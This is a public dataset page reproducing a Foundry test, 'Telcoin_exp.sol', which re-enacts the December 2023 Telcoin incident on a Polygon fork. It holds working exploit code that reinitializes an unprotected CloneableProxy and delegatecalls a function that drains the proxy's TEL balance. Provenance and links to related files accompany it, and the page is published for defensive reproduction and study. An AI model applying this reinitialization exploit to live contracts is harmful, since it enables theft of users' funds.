Public reproduction file

src/test/2023-12/Telcoin_exp.sol

Public reproduction file for dataset entry Telcoin.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/Telcoin_exp.sol81 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~1,24M
8// Attacker : https://polygonscan.com/address/0xdb4b84f0e601e40a02b54497f26e03ef33f3a5b7
9// Vulnerable Contract : https://polygonscan.com/address/0x56bcadff30680ebb540a84d75c182a5dc61981c0
10// Attack Tx (CloneableProxy#1) : https://app.blocksec.com/explorer/tx/polygon/0x35f50851c3b754b4565dc3e69af8f9bdb6555edecc84cf0badf8c1e8141d902d
11 
12// @Analysis
13// https://blocksec.com/phalcon/blog/telcoin-security-incident-in-depth-analysis
14// https://hacked.slowmist.io/?c=&page=2
15 
16interface ICloneableProxy {
17    function initialize(address _logic, bytes memory data) external;
18}
19 
20contract ContractTest is Test {
21    // CloneableProxy#1 created and 'initialized' at tx:
22    // https://app.blocksec.com/explorer/tx/polygon/0x1a31cb6f417d30fe8769328b3412bfb0d70247a82009ef28dfab5730c82acd05
23    ICloneableProxy private constant CloneableProxy = ICloneableProxy(0x56BCADff30680EBB540a84D75c182A5dC61981C0);
24    IERC20 private constant TEL = IERC20(0xdF7837DE1F2Fa4631D716CF2502f8b230F1dcc32);
25 
26    function setUp() public {
27        vm.createSelectFork("polygon", 51_546_495);
28        vm.label(address(CloneableProxy), "CloneableProxy#1");
29        vm.label(address(TEL), "TEL");
30    }
31 
32    function testExploit() public {
33        emit log_named_decimal_uint("Attacker TEL balance before exploit", TEL.balanceOf(address(this)), TEL.decimals());
34        bytes32 cloneableProxyPackedSlot0 = vm.load(address(CloneableProxy), bytes32(uint256(0)));
35        console.log("----------------------------------------------------------------");
36        emit log_named_bytes32(
37            "CloneableProxy#1 storage packed slot 0 contents before exploit and reinitialization",
38            cloneableProxyPackedSlot0
39        );
40        console.log("----------------------------------------------------------------");
41        console.log(
42            "CloneableProxy#1 storage packed slot 0 contents before exploit and reinitialization (two least significant bytes): uint8 _initializing: %s, bool _initialized: %s",
43            uint8(cloneableProxyPackedSlot0[30]),
44            uint8(cloneableProxyPackedSlot0[31])
45        );
46        console.log("----------------------------------------------------------------");
47        console.log("---Exploit Time---");
48 
49        bytes memory data = abi.encodePacked(this.transferTELFromCloneableProxy.selector);
50        CloneableProxy.initialize(address(this), data);
51 
52        cloneableProxyPackedSlot0 = vm.load(address(CloneableProxy), bytes32(uint256(0)));
53        console.log("----------------------------------------------------------------");
54        emit log_named_bytes32(
55            "CloneableProxy#1 storage packed slot 0 contents after exploit and reinitialization",
56            cloneableProxyPackedSlot0
57        );
58        console.log("----------------------------------------------------------------");
59        console.log(
60            "CloneableProxy#1 storage packed slot 0 contents after exploit and reinitialization (two least significant bytes): uint8 _initializing: %s, bool _initialized: %s",
61            uint8(cloneableProxyPackedSlot0[30]),
62            uint8(cloneableProxyPackedSlot0[31])
63        );
64        console.log("----------------------------------------------------------------");
65        emit log_named_decimal_uint("Attacker TEL balance after exploit", TEL.balanceOf(address(this)), TEL.decimals());
66 
67        // Sanity test after exploit
68        vm.expectRevert("Initializable: contract is already initialized");
69        CloneableProxy.initialize(address(this), "");
70    }
71 
72    function implementation() external view returns (address) {
73        return address(this);
74    }
75 
76    // Function will be delegatecalled from CloneableProxy#1
77    // Transfer only TEL because victim proxy doesn't have LINK balance
78    function transferTELFromCloneableProxy() external {
79        TEL.transfer(msg.sender, TEL.balanceOf(address(CloneableProxy)));
80    }
81}

Analysis

Dataset entry

Public Foundry test for “Telcoin” (2023-12-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xdb4b84f0e601e40a02b54497f26e03ef33f3a5b7
Vulnerable Contract
0x56bcadff30680ebb540a84d75c182a5dc61981c0

Attack Tx
0x35f50851c3b754b4565dc3e69af8f9bdb6555edecc84cf0badf8c1e8141d902d

File record

Name: Telcoin
Path: src/test/2023-12/Telcoin_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 3d530266d1aec548c85be685068af4163cd75630
Language: Solidity
Size: 82 lines
Date: 2023-12-25
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-12/Telcoin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3d530266d1aec548c85be685068af4163cd75630, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.